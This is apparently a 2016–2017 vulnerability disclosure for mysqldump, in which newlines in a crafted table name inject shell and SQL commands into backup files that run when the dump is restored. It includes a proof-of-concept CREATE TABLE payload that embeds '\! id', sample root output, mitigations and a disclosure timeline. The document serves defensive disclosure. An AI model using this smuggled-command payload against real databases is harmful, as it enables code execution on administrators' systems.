mysqldump is a common utility used to create logical backups of MySQL databases. By default, it generates a .sql file containing the queries to create/drop tables and insert your data. By crafting malicious table name, an attacker can execute arbitrary SQL queries and shell commands if the dump file is imported. If we are still giving cute names to vulnerabilities, my vote is for "Bad Dump". For another related exploit scenario, see RCE in Galera via Crafted Database Name

Attack Scenario

  • The attacker has gained access your application and can execute arbitrary SQL queries (for example, a backdoor in Wordpress installed via an outdated plugin)
  • The attacker has CREATE TABLE privileges (very common as many guides/tutorials will recommend granting this privilege for the installer or GRANT ALL PRIVILEGES ON wordpress.*)
  • The target runs a regular backup of their database using mysqldump
  • The attacker wants to escalate their privileges and gain further access to the system

Example Attack

First, the attacker creates a malicious table using the query below:

CREATE TABLE `evil
\! id
select user(),@@version/*`  (test text);

Normally, the scheduled backups would run create a dump containing an entry like this for each table:

--
-- Table structure for table `tablename`
--

However, with our evil table, the entry looks like this:

--
-- Table structure for table `evil
\! id
select user(),@@version/*`
--

As you can see, the new lines in our table name have allowed us to insert arbitrary lines of MySQL commands controlled by the attacker. This payload will do the following once imported:

  • If imported using the mysql command line client, it will execute the id command via sh
  • It will execute an arbitrary query which will output the name of the mysql user executing the import and the server version

Now the attacker starts deleting data or making things look corrupted by inserting random broken Unicode everywhere. The system administrator springs into action and attempts to restore from the latest backup. Once he does that, the payload will be executed:

$ mysql test < backup.sql
uid=0(root) gid=0(root) groups=0(root) <-- attacker shell command
user()	@@version
root@localhost	10.1.18-MariaDB <-- attacker sql query

As you can see, the attacker has successfully forced the administrator to execute some nasty commands by restoring the evil backup. Creating a payload that actually gives the attacker a backdoor is left as an exercise for the reader.

Mitigation

  • Use --skip-comments when using mysqldump
  • Revoke create table privileges wherever possible (best practice anyway)
  • Only dump table data instead of the structure in scheduled backups
  • Use an alternative tool to backup your mysql data

Affected Versions

Package Affected Versions Last Updated
MySQLAll Versions Oct 17, 2016
MariaDB<= 5.5.52 and < 10.1 March 9, 2017
PerconaAll VersionsOct 17, 2016

Disclosure Notes

  • October 5th, 2016: Discovered / Reported to MariaDB and Oracle
  • October 6th, 2016: Received response from MariaDB, scheduled to be patched in the next version. Discussed CVE assignment
  • October 13th, 2016: Received confirmation that the bug will be patched in MariaDB-5.5.53
  • October 18th, 2016: Received CVE ID
  • March 9th, 2017: Have not received update from Oracle outside automated messages. 90 days window exceeded, public disclosure.